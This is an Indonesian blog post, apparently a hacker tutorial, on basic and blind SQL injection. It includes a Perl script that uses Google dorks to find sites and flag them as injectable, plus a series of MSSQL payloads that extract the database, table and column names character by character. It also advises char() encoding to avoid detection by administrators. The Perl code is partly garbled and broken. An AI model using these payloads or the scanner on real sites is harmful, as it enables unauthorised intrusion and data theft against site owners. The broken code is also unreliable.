Teknik Dasar Sql Injection



CAra Pertama Untuk MenceK web tersebut ada hole sql injectionnya atau tidak maka lakukan cara seperti ini
setiap pertama kali test tambahkan tanda ('), atau (""), atau Tanda (;).


contoh:
[url sebelum di test] http://www.example.com/news.asp?id=10
[Testing Sql] http://www.example.com/news.asp?id=10'

jika web tersebut ada sql injectionnya maka akan keluar eror seperti ini :

[HTTP Response]-----------------
------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/news.asp, line 52
[End HTTP Response]-------------------------------------------------------------------------

Untuk cara mudah mencari web yang vuln sql atau tidak maka aku akan memberikan simple perl scrip untuk mensearch sql injection.

[code]-----------------------------------------------------------------------------------

#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
print "+++++++++++++++++++++++++++++++++++\n";
print "+ XcoDe google Sql SearcH +\n";
print "+ XcoDer Crew +\n";
print "+++++++++++++++++++++++++++++++++\n\n";
print "Insert Dork:";
chomp( my $dork = );
print "Total Query Pages (10 Links/Pages) :";
chomp( my $page = );
print "\n[+] Result:\n\n";
for($start = 0;$start != $page*10;$start += 10)
{
$t = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$star t;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($t);
if ($response->is_success)
{
$c = $response->content;
@stuff = split(/foreach $line(@stuff)
{
if($line =~/(.*) class=l/ig)
{
$out = $1;
$out =~ s/\"//g;
$out =~s/$/\'/;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($out);
$error = $response->content();
if($error =~m/mysql_/ || $error =~m/Division by dh4n in/ || $error =~m/Warning:/)
{print "$out => Could be Vulnerable in MySQL Injection!!\n";}
elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
{print "$out => Could be Vulnerable in MS Access Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
{print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
{print "$out => Could be Vulnerable in Oracle Injection!!\n";}
}
}
}
}

[End code]----------------------------------------------------------------------------------
Dalam beberapa kasus, jika Menggunakan metode normal sql injection tidak berfungsi. Maka blind sql injection adalah metode lain yang dapat membantu kamu.


Cara Mentest Vulnerable sites di Blind Sql Injection

Kita beranggapan bahwa web http://www.example.com/page.asp?id=1 adalah normal url untuk membuka web.

Namun silahkan kita coba inject seperti ini

http://www.example.com/page.asp?id=1 and 1=1
dan
http://www.example.com/page.asp?id=1 and 1=2
Jika tampilan web dari cara tadi berbeda dengan tampilan sebelum di beri perintah di belakang tadi, maka ini akan menjadi Suatu hal yang baik untuk kita.
Mungkin websites itu terdapat blind sql injection vulnerability. Ketika kita menginput "id=1 and 1=1" dan kondisi web masih normal dan respon dari web server masih normal. Tapi ketika kita menginput "id=1 and 1=2" dan kondisi web menjadi berubah maka web tersebut adalah web blind sql injection


Menentukan data melalui SQL Injection Blind

Dengan menggunakan blind sql injection teknik, kita akan menggunakan waktu yang lebih lama daripada normal injection.
kita dapat memperoleh hanya satu karakter sambil mengirimkan beberapa permintaan ke server.
saya akan memberikan contoh querying karakter pertama dari nama database.
Kita berasumsi bahwa data nama anggota. Oleh karena itu, karakter pertama adalah "m"
ASCII yang nilainya 109. (Pada tahap ini, saya menganggap bahwa anda tahu kode ASCII)

Ok, pertama-tama, kita harus tahu bahwa hasil dari permintaan hanya ada 2 bentuk.
1. Valid hasil pencarian seperti ini http://www.example.com/page.asp?id=1 and 1 = 1
2. Invalid hasil pencarian seperti ini http://www.example.com/page.asp?id=1 and 1 = 2
Langkah berikutnya adalah terserah kalian, kalian mungkin mempunyai ide yang berbeda dari ide saya untuk memilih kode ASCII untuk menguji query.


http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

Dalam situasi ini, hasilnya akan berlaku hasil pencarian seperti http://www.example.com/page.asp?id=1 and 1 = 1
(karena karakter pertama dari nama database adalah "m" yang ASCII kode 109). Kemudian, kita coba


http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120

Itu pasti bahwa hasilnya akan seperti http://www.example.com/page.asp?id=1 and 1 = 2 (karena 109 benar-benar kurang dari 120).

Kemudian kita coba


http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105

Hasilnya adalah hasil query yang valid, dengan nilai ASCII karakter pertama dari nama database adalah antara 105 dan 120.
kita akan mencoba


http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result
kita melihat bahwa karakter pertama dari nama database ascii memiliki nilai yang lebih besar dari 108
Tetapi tidak lebih dari 109. Dengan demikian, kita dapat menyimpulkan bahwa nilai ASCII adalah sama dengan 109.
kamu dapat membuktikannya dengan:


http://www.example.com/page.asp?id=1 AND ISNULL (ASCII (SUBSTRING (Cast ((SELECT LOWER (db_name (0))) AS varchar (8000)), 1,1)), 0 ) = 109.
dan saya yakin bahwa hasilnya sama seperti hasil http://www.target.com/page.php?id=1 and 1 = 1

Sisanya yang perlu kamu lakukan adalah untuk memanipulasi beberapa permintaan untuk mengumpulkan informasi yang kita sukai.
Dalam tutorial ini, saya mengajukan beberapa contoh query untuk mencari nama tabel dan kolom dalam database.

Eksploitasi Tabel permintaan untuk mendapatkan nama

Untuk mendapatkan nama tabel, kita dapat menggunakan metode di atas untuk mendapatkan karakter dari setiap nama tabel.
Satu-satunya hal yang kita lakukan adalah untuk mengubah query untuk mengambil nama tabel dari database saat ini.
Sebagai MSSQL tidak ada batas perintah. Dengan demikian, permintaan agak sedikit sulit.


http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)>97
Permintaan di atas digunakan untuk menentukan karakter pertama pertama di tabel database saat ini. Jika kita ingin menemukan kedua karakter pertama dari tabel,
Dapat kita lakukan dengan permintaan berikut:

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),2,1)),0)>97

saya mengubah substring dari kedua parameter fungsi 1-2 untuk menentukan pilihan posisi karakter dalam tabel nama.
Oleh karena itu, jika kita ingin menentukan posisi lainnya, saya hanya perlu mengubah parameter kedua dari fungsi substring.

Dalam kasus lainnya, kita dapat menemukan tabel lainnya dengan mengubah nama yang kedua pilih
Dari "SELECT TOP 1" menjadi "SELECT TOP 2", "SELECT TOP 3" dan seterusnya. misalnya,

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)=97

Permintaan tersebut akan menentukan karakter pertama dari kedua nama tabel di database saat ini.



Eksploitasi perintah untuk mendapatkan nama Kolom


Setelah kita memperoleh table names, selanjutnya target informasi adalah column names.


http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97

Untuk menghindari agar kita tidak ketauan sama admin, kamu harus mengubah 'tablename'
Menjadi bentuk concatenating char () perintah. misalnya, jika tabel bernama 'user',
ketika kita menambahkan 'user' dalam pencariannya, 'mungkin akan ketauan admin dan tidak dapat mensearch table user.
Untuk Solusinya adalah mengubah 'user' untuk char (117) + char (115) + char (101) + char (114).
Jadi, di mana permintaan perubahan dari cluase "Di mana nama = 'User'" menjadi "Di mana nama = char (117) + char (115) + char (101) + char (114)".
Dalam hal ini, kita dapat menghindari ketaun oleh admin. Dari hasil di atas permintaan pertama adalah karakter pertama dari nama kolom tabel yang spesifik.
Bila kita ingin menemukan kedua karakter pertama kolom, kita dapat menggunakan metode yang sama seperti mendapatkan tabel nama, dengan mengubah parameter yang kedua dari
Fungsi substring.

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97

Perintah di atas digunakan untuk menentukan kedua karakter pertama nama kolom dalam tabel yang spesifik.
Dalam hal penentuan kolom lainnya, yang dapat kita lakukan dengan mengubah nilai px dari 1 ke 2,3,4, dan sebagainya. seperti


http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
Karakter pertama dari kedua kolom nama tabel tertentu dapat ditentukan oleh perintah di atas.

MAAF juragan2 semua......kalo ane ada kesalahan

hanya sekedar tau,tidak untuk di coba
semoga bermanfaat * Maju terus indonesia dan tetap berhati-hati dalam hidup ini,semoga bermanfaat dan sukses semoga ALLAH slalu memberikan yang terbaik selamanya kepada galihrezah dan kekasihnya,,,amin hehehe makasih bentar ane mikir dulu buat postingan besok,,hehe hehehe jadi malu kabur ah..hahaha waduh kurang cepet ne balik lagi ah hehehe.. eh ga jadi kabur hihihi maaf-maaf kalau ane ada salah..hehe minum dulu gan salam kenal yah hehehe thanks for visiting this blog and CMIIW (Correct Me If I am Wrong).

0 komentar:

Posting Komentar